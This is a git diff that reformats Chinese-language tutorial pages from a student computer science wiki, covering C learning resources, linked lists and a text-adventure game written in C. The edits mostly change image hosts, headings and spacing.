4.Web:[CNote](https://github.com/coderit666/CNote)(例子密集,学习曲线平滑,覆盖面广且具有深度) -5.Book:教材替换用书——《C Primer Plus》!(基础且深入的恰到好处,有一定拓展,可能后面的章节有点难懂,是一本不可多得的好书,不要忽视课本习题及 Projects) +::: tip 📥 +《C Primer Plus》(第六版中文版)(216MB)附件下载 +::: -6.MOOC:[Introductory C Programming 专项课程](https://www.coursera.org/specializations/c-programming)(全英文,好处是涉及到计算机思维,包含许多常用 tools 的教学例如 git、make、emacs、gdb,视频讲解结合文档阅读,对于 C 的重要核心知识讲解透彻,难度颇高,建议用作提升) +5.Book:**教材替换用书——《C Primer Plus》!**(基础且深入的恰到好处,有一定拓展,可能后面的章节有点难懂,是一本不可多得的好书,不要忽视课本习题及 Projects) + +6.MOOC:[Introductory C Programming 专项课程](https://www.coursera.org/specializations/c-programming)(**全英文**,好处是涉及到计算机思维,包含许多常用 tools 的教学例如 git、make、emacs、gdb,视频讲解结合文档阅读,对于 C 的重要核心知识讲解透彻,难度颇高,建议用作提升) 7.Web:[LinuxC 一站式编程](https://akaedu.github.io/book/)(难度大,枯燥硬核,收获多,基于 linux) -### 学习建议:可以选择其一或多种学习。 +## 学习建议:可以选择其一或多种学习 - 对于缺乏计算机基础(这里的基础指的是计算机的日常使用)的同学,(1、2)是不错的选择,但在学完后要选择 4、5、6 进行补充巩固提高。 - 对于有一定计算机基础的同学,直接上手 4、5、6 都是很不错的选择。 @@ -34,6 +40,6 @@ 计算机思维与计算机科学与编码能力 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png) +![](https://cdn.xyxsw.site/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png) -### CS education is more than just “learning how to code”! +### **CS education is more than just “learning how to code”!** diff --git a/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md b/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md index 7c2ce95..91dffb7 100644 --- a/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md +++ b/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md @@ -6,13 +6,13 @@ 使用链表存储数据,不强制要求数据在内存中集中存储,各个元素可以分散存储在内存中。例如,使用链表存储 {1,2,3},各个元素在内存中的存储状态可能是: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnuwZzqX4dF8xKTYajwrDSxf.png) +![](https://cdn.xyxsw.site/boxcnuwZzqX4dF8xKTYajwrDSxf.png) 可以看到,数据不仅没有集中存放,在内存中的存储次序也是混乱的。那么,链表是如何存储数据间逻辑关系的呢? 链表存储数据间逻辑关系的实现方案是:为每一个元素配置一个指针,每个元素的指针都指向自己的直接后继元素,如下图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnAnkVAJmMT0NSNvo6crXYAd.png) +![](https://cdn.xyxsw.site/boxcnAnkVAJmMT0NSNvo6crXYAd.png) 显然,我们只需要记住元素 1 的存储位置,通过它的指针就可以找到元素 2,通过元素 2 的指针就可以找到元素 3,以此类推,各个元素的先后次序一目了然。像图 2 这样,数据元素随机存储在内存中,通过指针维系数据之间“一对一”的逻辑关系,这样的存储结构就是链表。 @@ -20,13 +20,13 @@ 在链表中,每个数据元素都配有一个指针,这意味着,链表上的每个“元素”都长下图这个样子: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcncRc5OKZROtxC9rpQYxrjvf.png) +![](https://cdn.xyxsw.site/boxcncRc5OKZROtxC9rpQYxrjvf.png) 数据域用来存储元素的值,指针域用来存放指针。数据结构中,通常将这样的整体称为结点。 也就是说,链表中实际存放的是一个一个的结点,数据元素存放在各个结点的数据域中。举个简单的例子,图 3 中 {1,2,3} 的存储状态用链表表示,如下图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn0VMYQlez7tQTNkTPDkCsvg.png) +![](https://cdn.xyxsw.site/boxcn0VMYQlez7tQTNkTPDkCsvg.png) 在 C 语言中,可以用结构体表示链表中的结点,例如: @@ -42,21 +42,21 @@ typedef struct Node* Link; 图 4 所示的链表并不完整,一个完整的链表应该由以下几部分构成: -头指针:是指向链表中一个结点所在存储位置的指针。如果链表中有头结点,则头指针指向头结点;若链表中没有头结点,则头指针指向链表中第一个数据结点(也叫首元结点)。 +头指针:是指向链表中一个结点所在存储位置的指针。如果链表中有头结点,则头指针指向头结点;若链表中没有头结点,则头指针指向链表中第一个数据结点(也叫首元结点)。 链表有头指针,当我们需要使用链表中的数据时,我们可以使用遍历查找等方法,从头指针指向的结点开始,依次搜索,直到找到需要的数据;反之,若没有头指针,则链表中的数据根本无法使用,也就失去了存储数据的意义。 结点:链表中的节点又细分为头结点、首元结点和其它结点: -头结点:位于链表的表头,即链表中第一个结点,其一般不存储任何数据,特殊情况可存储表示链表信息(表的长度等)的数据。 +头结点:位于链表的表头,即链表中第一个结点,其一般不存储任何数据,特殊情况可存储表示链表信息(表的长度等)的数据。 头结点的存在,其本身没有任何作用,就是一个空结点,但是在对链表的某些操作中,链表有无头结点,可以直接影响编程实现的难易程度。 例如,若链表无头结点,则对于在链表中第一个数据结点之前插入一个新结点,或者对链表中第一个数据结点做删除操作,都必须要当做特殊情况,进行特殊考虑;而若链表中设有头结点,以上两种特殊情况都可被视为普通情况,不需要特殊考虑,降低了问题实现的难度。 -链表有头结点,也不一定都是有利的。例如解决约瑟夫环问题,若链表有头结点,在一定程度上会阻碍算法的实现。 +**链表有头结点,也不一定都是有利的。例如解决约瑟夫环问题,若链表有头结点,在一定程度上会阻碍算法的实现。** -所以,对于一个链表来说,设置头指针是必要且必须的,但有没有头结点,则需要根据实际问题特殊分析。 +**所以,对于一个链表来说,设置头指针是必要且必须的,但有没有头结点,则需要根据实际问题特殊分析。** 首元结点:指的是链表开头第一个存有数据的结点。 @@ -66,7 +66,7 @@ typedef struct Node* Link; 例如,创建一个包含头结点的链表存储 {1,2,3},如下图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnjAoO54txAhnu7Ry8ExjGvc.png) +![](https://cdn.xyxsw.site/boxcnjAoO54txAhnu7Ry8ExjGvc.png) ## 链表的创建 @@ -95,7 +95,7 @@ Link* head = (Link*)malloc(sizeof(Link)); //创建头指针 ```c Link p; -while (Judgement) //for同理 +while (Judgement) //for 同理 { p = (Link)malloc(sizeof(Node)); p->elem = element; @@ -104,14 +104,14 @@ while (Judgement) } ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8ZxT5oMkScArZjZhgM6TYb.png) +![](https://cdn.xyxsw.site/boxcn8ZxT5oMkScArZjZhgM6TYb.png) ### 创建结点——尾插法 ```c Link p; Link r = (*head); //临时中间结构指针,在尾插法中始终指向最后一个结点 -while (Judgement) //for同理 +while (Judgement) //for 同理 { p = (Link)malloc(sizeof(Node)); p->elem = element; @@ -121,7 +121,7 @@ while (Judgement) //for同理 } ``` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnMjc9pwgZgk1GBmBRlBS6d.png) +![](https://cdn.xyxsw.site/boxcnnMjc9pwgZgk1GBmBRlBS6d.png) ## 链表的基本操作 @@ -141,20 +141,20 @@ while (Judgement) //for同理 ```c #define error 0 #define ok 1 -/*用e返回L中第i个数据元素的值*/ +/*用 e 返回 L 中第 i 个数据元素的值*/ int GetElem(Link *L, int i; int *e) { Link p; - p = (*L)->next; //p指向第一个结点 + p = (*L)->next; //p 指向第一个结点 int j = 1; - while (p && j < i) //p不为空或者计数器j还没有等于i时,循环继续 + while (p && j < i) //p 不为空或者计数器 j 还没有等于 i 时,循环继续 { - p = p->next; //p指向下一个结点 + p = p->next; //p 指向下一个结点 j++; } - if (!p) //第i个元素不存在 + if (!p) //第 i 个元素不存在 return error; - *e = p->elem; //取第i个元素的数据 + *e = p->elem; //取第 i 个元素的数据 return ok; } ``` @@ -176,19 +176,19 @@ int GetElem(Link *L, int i; int *e) 例如,在链表 `{1,2,3,4}` 的基础上分别实现在头部、中间、尾部插入新元素 5,其实现过程如图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxjex5Q3Lt9AAx6roN3ClUg.png) +![](https://cdn.xyxsw.site/boxcnxjex5Q3Lt9AAx6roN3ClUg.png) -从图中可以看出,虽然新元素的插入位置不同,但实现插入操作的方法是一致的,都是先执行步骤 1 ,再执行步骤 2。实现代码如下: +从图中可以看出,虽然新元素的插入位置不同,但实现插入操作的方法是一致的,都是先执行步骤 1,再执行步骤 2。实现代码如下: ```c -/*在L中第i个位置(注意链表中的位置不一定为结点的个数)之前插入新的数据元素e, -L的长度加一(可以用头结点存储链表长度)*/ +/*在 L 中第 i 个位置(注意链表中的位置不一定为结点的个数)之前插入新的数据元素 e, +L 的长度加一(可以用头结点存储链表长度)*/ int ListInsert(Link *L, int i, int e) { - Link p, r; //r为临时中间结构指针,用于实现插入 - p = *L; //p指向头结点 + Link p, r; //r 为临时中间结构指针,用于实现插入 + p = *L; //p 指向头结点 int j = 1; - while (p && j < i) //寻找第i个结点, + while (p && j < i) //寻找第 i 个结点, { p = p->next; j++; @@ -207,7 +207,7 @@ int ListInsert(Link *L, int i, int e) 对于没有头结点的链表,在头部插入结点比较特殊,需要单独实现。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png) +![](https://cdn.xyxsw.site/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png) 和 2)、3) 种情况相比,由于链表没有头结点,在头部插入新结点,此结点之前没有任何结点,实现的步骤如下: @@ -217,8 +217,8 @@ int ListInsert(Link *L, int i, int e) 实现代码如下: ```c -/*在L中第i个位置(注意链表中的位置不一定为结点的个数)之前插入新的数据元素e, -L的长度加一(可以用头结点存储链表长度)*/ +/*在 L 中第 i 个位置(注意链表中的位置不一定为结点的个数)之前插入新的数据元素 e, +L 的长度加一(可以用头结点存储链表长度)*/ int ListInsert(Link *L, int i, int e) { if (i == 1) @@ -253,12 +253,12 @@ temp->next=temp->next->next; 例如,从存有 `{1,2,3,4}` 的链表中删除存储元素 3 的结点,则此代码的执行效果如图 3 所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnn3QHja0tzEwqJl9Mk4KnCg.png) +![](https://cdn.xyxsw.site/boxcnn3QHja0tzEwqJl9Mk4KnCg.png) 实现代码如下: ```c -/*删除L中的第i个数据元素,并用e返回其值,L的长度减一 +/*删除 L 中的第 i 个数据元素,并用 e 返回其值,L 的长度减一 (可以用头结点存储链表长度)*/ int ListDelete(Link *L, int i, int* e) { @@ -271,7 +271,7 @@ int ListDelete(Link *L, int i, int* e) j++; } if (!(p->next)) - return error; //L中不存在第i个元素 + return error; //L 中不存在第 i 个元素 r = p->next; //标记要删除的结点 p->next = r->next; //移除结点 *e = r->elem; //返回结点所存数据 @@ -282,12 +282,12 @@ int ListDelete(Link *L, int i, int* e) 对于不带头结点的链表,需要单独考虑删除首元结点的情况,删除其它结点的方式和图 3 完全相同,如下图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXjwE0yDFvpQxLaPw7FifxV.png) +![](https://cdn.xyxsw.site/boxcnXjwE0yDFvpQxLaPw7FifxV.png) 实现代码如下: ```c -/*删除L中的第i个数据元素,并用e返回其值,L的长度减一 +/*删除 L 中的第 i 个数据元素,并用 e 返回其值,L 的长度减一 (可以用头结点存储链表长度)*/ int ListDelete(Link *L, int i, int* e) { @@ -319,7 +319,7 @@ int ListDelete(Link *L, int i, int* e) 如图所示,假设此时圆周周围有 5 个人,要求从编号为 3 的人开始顺时针数数,数到 2 的那个人出列: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngx7ZPA7pONbJo82LbNCO1g.png) +![](https://cdn.xyxsw.site/boxcngx7ZPA7pONbJo82LbNCO1g.png) 出列顺序依次为: @@ -329,7 +329,7 @@ int ListDelete(Link *L, int i, int* e) - 3 出列后,从 5 开始数 1,2 数 2,所以 2 出列; - 最后只剩下 5 自己,所以 5 胜出。 -那么,究竟要如何用链表实现约瑟夫环呢?如何让一个含 5 个元素的约瑟夫环,能从第 5 个元素出发,访问到第 2 个元素呢?上面所讲的链表操作显然是难以做到的,解决这个问题就需要用到循环链表。 +那么,究竟要如何用链表实现约瑟夫环呢?如何让一个含 5 个元素的约瑟夫环,能从第 5 个元素出发,访问到第 2 个元素呢?上面所讲的链表操作显然是难以做到的,解决这个问题就需要用到**循环链表**。 ## 循环链表 @@ -339,10 +339,10 @@ int ListDelete(Link *L, int i, int* e) 为了使空链表和非空链表处理一致,我们通常设一个头结点,当然,并不是说,循环链表一定要头结点,这需要注意。循环链表带有头结点的空链表如图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3l30usevMTgv1ZbZ0mfJdh.png) +![](https://cdn.xyxsw.site/boxcn3l30usevMTgv1ZbZ0mfJdh.png) 对于非空的循环链表如图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngoLTiM9wto9uCGzH7nkjkW.png) +![](https://cdn.xyxsw.site/boxcngoLTiM9wto9uCGzH7nkjkW.png) 循环链表和单链表的主要差异就在于循环的判断条件上,原来是判断 p->next 是否为空,现在则是 p->next 不等于头结点,则循环未结束。 diff --git a/3.编程思维体系构建/3.4.5阶段一:编程属性.md b/3.编程思维体系构建/3.4.5阶段一:编程属性.md index b89c593..4a17c32 100644 --- a/3.编程思维体系构建/3.4.5阶段一:编程属性.md +++ b/3.编程思维体系构建/3.4.5阶段一:编程属性.md @@ -1,30 +1,30 @@ # 阶段一:编程属性 -# [C 语言任务模块](https://github.com/E1PsyCongroo/HDU_C_Assignments/) +## [C 语言任务模块](https://github.com/E1PsyCongroo/HDU_C_Assignments/) 作为一名合格的大学生,更应深谙“纸上得来终觉浅,绝知此事要躬行”的道理,编程语言就像是一个工具,无论你如何熟读说明书(语法、特性),未经实践终究是靠不住的。 -本模块将以有趣的任务的形式替你检测是否你已经达到了基本掌握C语言语法和一些特性的目的 +本模块将以有趣的任务的形式替你检测是否你已经达到了基本掌握 C 语言语法和一些特性的目的 - 该任务模块旨在帮助巩固 C 语言基础知识,传递一些编程思维,入门学习请看 [3.4.4C 语言前置概念学习](3.4.4C%E8%AF%AD%E8%A8%80%E5%89%8D%E7%BD%AE%E6%A6%82%E5%BF%B5%E5%AD%A6%E4%B9%A0.md) -- 你可以通过使用 git `git clone ``https://github.com/E1PsyCongroo/HDU_C_Assignments.git` 获取任务 -- 或者访问https://github.com/E1PsyCongroo/HDU_C_Assignments 学习 +- 你可以通过使用 git 工具 `git clone https://github.com/E1PsyCongroo/HDU_C_Assignments.git` 获取任务 +- 或者访问 [https://github.com/E1PsyCongroo/HDU_C_Assignments](https://github.com/E1PsyCongroo/HDU_C_Assignments) 学习 -# 任务一做前必查 +## 任务一做前必查 -1. 理解[3.4.3解决编程问题的普适性过程](3.4.3%E8%A7%A3%E5%86%B3%E7%BC%96%E7%A8%8B%E9%97%AE%E9%A2%98%E7%9A%84%E6%99%AE%E9%80%82%E6%80%A7%E8%BF%87%E7%A8%8B.md) 。 +1. 理解[3.4.3 解决编程问题的普适性过程](3.4.3%E8%A7%A3%E5%86%B3%E7%BC%96%E7%A8%8B%E9%97%AE%E9%A2%98%E7%9A%84%E6%99%AE%E9%80%82%E6%80%A7%E8%BF%87%E7%A8%8B.md) 。 2. 理解 C 语言语法基础:变量、表达式、函数、判断、循环、常用标准库函数。 3. 理解 C 语言中的一切都是数字。 4. 初步理解 C 语言各类数据类型:基本数据类型和复杂自定义数据类型。 5. 初步理解 C 语言数组及字符串。 -# 任务二做前必查 +## 任务二做前必查 1. 深入理解 C 语言指针、数组和字符串。 2. 理解递归思想。 3. 理解复杂自定义数据类型。 -### 请阅读各个任务的 README.md,了解完成任务所需的前置知识。 +## 请阅读各个任务的 README.md,了解完成任务所需的前置知识 进阶:评价一个程序,大体分为以下四个层次。 diff --git a/3.编程思维体系构建/3.4.6.1.开始冒险.md b/3.编程思维体系构建/3.4.6.1.开始冒险.md index bf4ae6e..96323ed 100644 --- a/3.编程思维体系构建/3.4.6.1.开始冒险.md +++ b/3.编程思维体系构建/3.4.6.1.开始冒险.md @@ -21,9 +21,9 @@ It is very dark in here. Bye! -尽管可能微不足道,但该程序确实展示 任何文本冒险中最重要的方面:描述性文本。一个好的故事是制作一款好的冒险游戏的要素之一。 +尽管可能微不足道,但该程序确实展示 *了*任何文本冒险中最重要的方面:描述性文本。一个好的故事是制作一款好的冒险游戏的要素之一。 -# 为什么要用英文? +## 为什么要用英文? 因为中文的编码模式可能会带来奇怪的影响。 diff --git a/3.编程思维体系构建/3.4.6.10.增添属性.md b/3.编程思维体系构建/3.4.6.10.增添属性.md index d830f1f..beb9afc 100644 --- a/3.编程思维体系构建/3.4.6.10.增添属性.md +++ b/3.编程思维体系构建/3.4.6.10.增添属性.md @@ -12,14 +12,14 @@ 举个例子,一条林道可能隐藏着陷阱。虽然通道似乎从位置 A 通向位置 B,但实际上终点是位置 C,即掉进坑了。 -假设我们的洞口被警卫挡住了。玩家就过不去,我们可以简单地将通道的目的地更改为终点位置(或 NULL),但这会导致对诸如 go cave 和 look cave 这样的命令做出不正确的回应:“你在这里看不到任何洞穴。我们需要一个将通道的实际终点和虚假终点分开的单独属性。为此,我们将引入一个属性 prospect 来表示后者。 +假设我们的洞口被警卫挡住了。玩家就过不去,我们可以简单地将通道的*目的地*更改为终点位置(或 *NULL*),但这会导致对*诸如 go cave 和 look cave* 这样的命令做出不正确的回应:“你在这里看不到任何洞穴。我们需要一个将通道的实际终点和虚假终点分开的单独属性。为此,我们将引入一个属性 prospect 来表示后者。 -1. 在许多冒险中,玩家以及游戏中的 NPC 在携带量方面受到限制。给每件物品一个重量,角色库存中所有物品的总重量不应超过该角色所能承载的最大重量。当然,我们也可以给一个物体一个非常高的重量,使它不可移动(一棵树,一座房子,一座山)。 -2. RPG 式的冒险游戏需要角色的整个属性范围( 玩家与非玩家 ),例如 HP。HP 为零的对象要么死了,要么根本不是角色。 +1. 在许多冒险中,玩家以及游戏中的 NPC 在携带量方面受到限制。给每件物品一个重量,角色库存中所有物品的总重量不应超过该角色所能承载的最大重量。当然,我们也可以给一个物体一个非常高的重量,使它不可移动(一棵树,一座房子,一座山)。 +2. RPG 式的冒险游戏需要角色的整个属性范围 ( 玩家与非玩家 ),例如 HP。HP 为零的对象要么死了,要么根本不是角色。 我们在 object.txt 中定义了七个新属性: -``` +```c #include #include "object.h" @@ -115,13 +115,14 @@ extern OBJECT objs[]; textGo "Solid rock is blocking the way." ``` -注意:textGo 不仅对通道对象有用,而且对非通道对象也有用( 在这种情况下,以后我们将介绍“墙”这个概念) +注意:textGo 不仅对通道对象有用,而且对非通道对象也有用 ( 在这种情况下,以后我们将介绍“墙”这个概念) -思考题:你能否自行实现上述伪代码? +::: warning 🤔 思考题:你能否自行实现上述伪代码? +::: -现在,我们已经可以使用新属性(如果你完成了上面的思考题),details 用于新识别的命令外观``,textGo 在我们的命令 go 实现中替换固定文本“OK”。 +现在,我们已经可以使用新属性 (如果你完成了上面的思考题),**details** 用于新识别的命令*外观``*,**textGo** 在我们的命令 *go* 实现中替换固定文本*“OK*”。 -# location.c +## location.c ```c #include @@ -195,7 +196,7 @@ void executeGo(const char *noun) 属性权重和容量一起成为不能将某些对象移动到周围的可能原因。而 HP 检查代替了角色的硬编码白名单。 -# move.c +## move.c ```c #include @@ -264,7 +265,7 @@ void moveObject(OBJECT *obj, OBJECT *to) 这里还有一个模块可以使用 HP 来识别角色。 -# inventory.c +## inventory.c ```c #include @@ -327,15 +328,16 @@ void executeInventory(void) } ``` -思考题:仔细观察这段代码,看看与你写的有何不同? +::: warning 🤔 思考题:仔细观察这段代码,看看与你写的有何不同? +::: -权重检查利用了新功能 weightOfContents,它将在misc.c中实现。在同一模块中,我们还对一些现有函数进行了修改,以支持最后几个属性。 +权重检查利用了新功能 *weightOfContents,*它将在*misc.c*中实现。在同一模块中,我们还对一些现有函数进行了修改,以支持最后几个属性。 -属性内容将替换固定文本“You see”。在列出玩家的库存时,原始文本已经有点奇怪了,但是现在函数listObjectsAtLocation用于显示任何可能对象的内容(请参阅上面的函数expertLook),我们真的需要一些更灵活的东西。 +属性内容将替换固定文本*“You see”。*在列出玩家的库存时,原始文本已经有点奇怪了,但是现在函数*listObjectsAtLocation*用于显示任何可能对象的内容(请参阅上面的函数*expertLook*),我们真的需要一些更灵活的东西。 -在函数 getPassage 中我们将属性目标替换为 prospect,并改进对所有命令(而不仅仅是 go and look)的响应,这些命令应用于位于“隐藏通道”另一端的位置。 +在函数 *getPassage* 中我们将属性*目标*替换为 prospect,并改进*对所有*命令(而不仅仅是 *go* and *look*)的响应,这些命令应用于位于“隐藏通道”另一端的位置。 -# misc.h +## misc.h ```c typedef enum { @@ -357,7 +359,7 @@ extern OBJECT *actorHere(void); extern int listObjectsAtLocation(OBJECT *location); ``` -# misc.c +## misc.c ```c #include @@ -432,15 +434,15 @@ int listObjectsAtLocation(OBJECT *location) } ``` -思考题:为什么上面的 getPassage 函数使用了函数指针这种语法? +::: warning 🤔 思考题: +为什么上面的 getPassage 函数使用了函数指针这种语法? -``` - 函数指针和指针函数有什么区别? -``` +函数指针和指针函数有什么区别? +::: 为了使整个画面完整,最好扩展前面生成的地图,我们可以用虚线表示“明显”的通道。 -```c +```awk BEGIN { print "digraph map {"; } /^- / { outputEdges(); delete a; } /^[ \t]/ { a[$1] = $2; } @@ -460,9 +462,9 @@ function outputEdge(from, to, style) 注意: -- 尽量不要太担心浪费仅在某些类型的对象中使用的属性上的内存空间(例如,textGo仅用于通道),或者许多重复的字符串文本。 -- 为了演示属性 prospect 的使用,我们使洞穴无法访问。当您查看新地图时,这一点立即变得很明显。进入洞穴的箭头是虚线的,这意味着这是一个虚假的通道,但不是实际的通道。请放心,洞穴将在下一章重新开放。 -- 请注意,更详细的描述往往需要一个更大的字典(更多的对象,更多的标签)。例如,命令 look silver coin 现在返回 "该硬币的正面有一只鹰"。玩家通过输入一个命令 look eagle 来查看银币,但程序并不知道鹰是什么意思(显然这样子是不行的)。 +- 尽量不要太担心浪费仅在某些类型的对象中使用的属性上的内存空间(例如,*textGo*仅用于通道),或者许多重复的字符串文本。 +- 为了演示属性 prospect 的使用,我们使洞穴无法访问。当您查看新*地图时,*这一点立即变得很明显。进入洞穴的箭头是虚线的,这意味着这是一个虚假的通道,但不是实际的通道。请放心,洞穴将在下一章重新开放。 +- 请注意,更详细的描述往往需要一个更大的字典(更多的对象,更多的标签)。例如,命令 look silver coin 现在返回 "该硬币的正面有一只鹰"。玩家通过输入一个命令 look eagle 来查看银币,但程序并不知道鹰是什么意思 (显然这样子是不行的)。 输出样例 diff --git a/3.编程思维体系构建/3.4.6.11.设置条件.md b/3.编程思维体系构建/3.4.6.11.设置条件.md index ce88931..668a89c 100644 --- a/3.编程思维体系构建/3.4.6.11.设置条件.md +++ b/3.编程思维体系构建/3.4.6.11.设置条件.md @@ -7,13 +7,13 @@ 让我们举一个简单的例子。为了越过守卫进入山洞,玩家必须杀死或贿赂守卫(或两者兼而有之,这很有价值)。换句话说: - 当警卫死亡时(HP=0),入口开放 -- 当警卫拿着银币(贿赂警卫)时,入口开放 +- 当警卫拿着银币 (贿赂警卫) 时,入口开放 - 两者都不是,入口关闭 打开一个封闭的通道(在这里是进入洞穴)涉及到改变一些属性值: -- 目的地从 NULL(空地点)变为洞穴 -- textGo从 "警卫阻止你...... "改为 "你走进山洞" +- 目的地从 NULL(空地点) 变为洞穴 +- **textGo**从 "警卫阻止你...... "改为 "你走进山洞" - 在一些特殊情况下,描述和细节不需要改变。但对于一个门洞或栅栏,其中之一(或两者)通常会包含一些从 "开放 "到 "关闭 "的文字。 有许多方法来实现这一目标。在这里,我们将讨论一种简单、可维护和通用的方法。 @@ -22,7 +22,7 @@ 接下来,我们引入一个名为条件的新属性,它决定了某个对象是否存在。这两个通道将被赋予互斥的条件,因此在任何时候都只能有一个存在。 -每个条件将被实现为一个布尔函数:TRUE意味着该对象存在,FALSE意味着它不存在。 +每个条件将被实现为一个布尔函数:**TRUE**意味着该对象存在,**FALSE**意味着它不存在。 ```c bool intoCaveIsOpen(void) @@ -36,7 +36,8 @@ bool intoCaveIsClosed(void) } ``` -思考题:你能仿照上面例子自己写一些条件函数吗? +::: warning 🤔 思考题:你能仿照上面例子自己写一些条件函数吗? +::: 新的属性条件是一个指向这样一个函数的指针。 @@ -46,9 +47,9 @@ bool (*condition)(void); 接下来,我们可以立即开始为 object.txt 中的新属性分配函数。 -# object.txt +## object.txt -``` +```txt - intoCave condition intoCaveIsOpen description "a cave entrance to the east" @@ -68,11 +69,12 @@ bool (*condition)(void); textGo "The guard stops you from walking into the cave.\n" ``` -思考题:尝试自己实现上面的伪代码 +::: warning 🤔 思考题:尝试自己实现上面的伪代码 +::: 这两个 "条件 "函数是如此具体,每一个条件函数都只用这一次。现在,我们可以在我们需要的地方定义这些函数。许多编程语言都支持匿名函数,像这样: -``` +```txt - intoCave condition { return guard->health == 0 || silver->location == guard; } ... @@ -84,9 +86,9 @@ bool (*condition)(void); 所以现在我们可以把额外的段落和条件添加到 object.txt 中,就像前面解释的那样。 -# object.txt +## new object.txt -``` +```txt #include #include #include "object.h" @@ -193,11 +195,12 @@ extern OBJECT objs[]; textGo "Solid rock is blocking the way." ``` -思考题:尝试自己实现这些功能,并看看与你之前设计的有何不同 +::: warning 🤔 思考题:尝试自己实现这些功能,并看看与你之前设计的有何不同 +::: 为了使这些条件发挥作用,我们需要调整函数 isHolding 和 getDistance。 -# misc.c +## misc.c ```c #include @@ -273,16 +276,18 @@ int listObjectsAtLocation(OBJECT *location) } ``` -思考题:想想我们调整了什么 +::: warning 🤔 思考题:想想我们调整了什么 +::: 注意: -1. 警卫不可能会死,所以可以说我们的条件函数中的HP是很无用的。当然,这很容易通过添加一个 kill 命令来解决,见第 20 章。 +1. 警卫不可能会死,所以可以说我们的条件函数中的**HP**是很无用的。当然,这很容易通过添加一个 kill 命令来解决,见第 20 章。 2. 这两个条件函数是互补的;它们有资格成为重复的代码。为了消除这一点,我们可能决定让一个函数调用另一个函数(用'!'操作符来否定结果)。一个匿名函数没有(稳定的)名字,但我们可以用它的对象来指代它。我们可以用 intoCaveBlocked 的条件函数代替。 3. 为了简单起见,条件函数没有参数。实际上,传递一个参数 OBJECT *obj 可能更好;这使得编写更多的通用条件函数成为可能,可以在多个对象中重复使用。 4. 在理论上,任何对象都可以成为 "条件"。在下一章,你可以看到一个类似的技术被应用于此。 -思考题:想一想上面第二点要怎么用 C 来实现? +::: warning 🤔 思考题:想一想上面第二点要怎么用 C 来实现? +::: 输出样例 diff --git a/3.编程思维体系构建/3.4.6.12.开启关闭.md b/3.编程思维体系构建/3.4.6.12.开启关闭.md index ee6985d..d352de3 100644 --- a/3.编程思维体系构建/3.4.6.12.开启关闭.md +++ b/3.编程思维体系构建/3.4.6.12.开启关闭.md @@ -1,12 +1,12 @@ # 12.开启关闭 -在上一章中,我们使用 "条件 "函数来使对象消失。当然,还有一个更简单的方法来实现同样的目的:只要清除对象的位置属性就可以了! +在上一章中,我们使用 "条件 "函数来使对象消失。当然,还有一个更简单的方法来实现同样的目的:只要清除对象的位置属性就可以了! 洞口是一个典型的例子,条件函数在那里工作得特别好。这是因为入口受到其他对象(守卫和银币)中的属性的影响;我们可以使用函数使得所有的逻辑都能保持一致。 让我们举一个更直接的例子。假设山洞有一扇门通向一个密室。只是一个简单的门洞,玩家可以打开和关闭。就像前一章一样,我们将使用两个对象来表示这个通道;一个表示打开的门,另一个表示门关闭时。 -``` +```txt - backroom description "a backroom" tags "backroom" @@ -28,11 +28,12 @@ textGo "The door is closed.\n" ``` -思考题:尝试自己用 C 语言实现 +::: warning 🤔 思考题:尝试自己用 C 语言实现 +::: 自然,门也应该能从另一侧进入。 -``` +```txt - openDoorToCave description "an open door to the north" tags "north", "door", "doorway" @@ -111,7 +112,8 @@ else } ``` -思考题:你能不能仿照上面的代码实现 close 功能? +::: warning 🤔 思考题:你能不能仿照上面的代码实现 close 功能? +::: 为了使事情稍微复杂一些,我们可以在门上或盒子上加一把锁。这需要(至少)三个相互排斥的对象;每个可能的状态都有一个:打开、关闭和锁定。但是我们仍然可以使用同一个函数来交换对象的位置。例如,这里是如何解锁一个上锁的盒子;反之亦然。 @@ -132,15 +134,17 @@ else if (obj == lockedBox) 显然,代码的行数与游戏中的门(以及盒子和其他可以打开的物体)的数量成正比。因此,如果你的游戏有不止几扇门,那么选择一个更通用的解决方案是个好主意。顺便说一下,这对每一个命令都是适用的:当它涉及到许多物体时,尽量写通用代码;但当你处理一两个特殊情况时,就坚持使用直接的、专门的代码。 -思考题:我们可以使用什么方法来解决这个问题? +::: warning 🤔 思考题: +我们可以使用什么方法来解决这个问题? 提示:C++ 中的模板功能(这只是一种选择) 下面我们将揭晓答案 +::: 通用代码通常带有数据驱动的方法。换句话说,我们需要向我们的对象结构添加一个或多个属性。在这种特殊情况下,我们将为我们希望支持的每个命令添加一个函数指针:打开、关闭、锁定和解锁。 -# object.txt +## object.txt ```c #include @@ -354,7 +358,7 @@ extern OBJECT objs[]; 为了避免重复的代码,我们这次特意没有使用匿名函数。相反,我们将在一个单独的模块中实现必要的逻辑。函数 swapLocations 也在其中,这不过是一个稍微扩展的版本,它也会向用户输出反馈。 -# 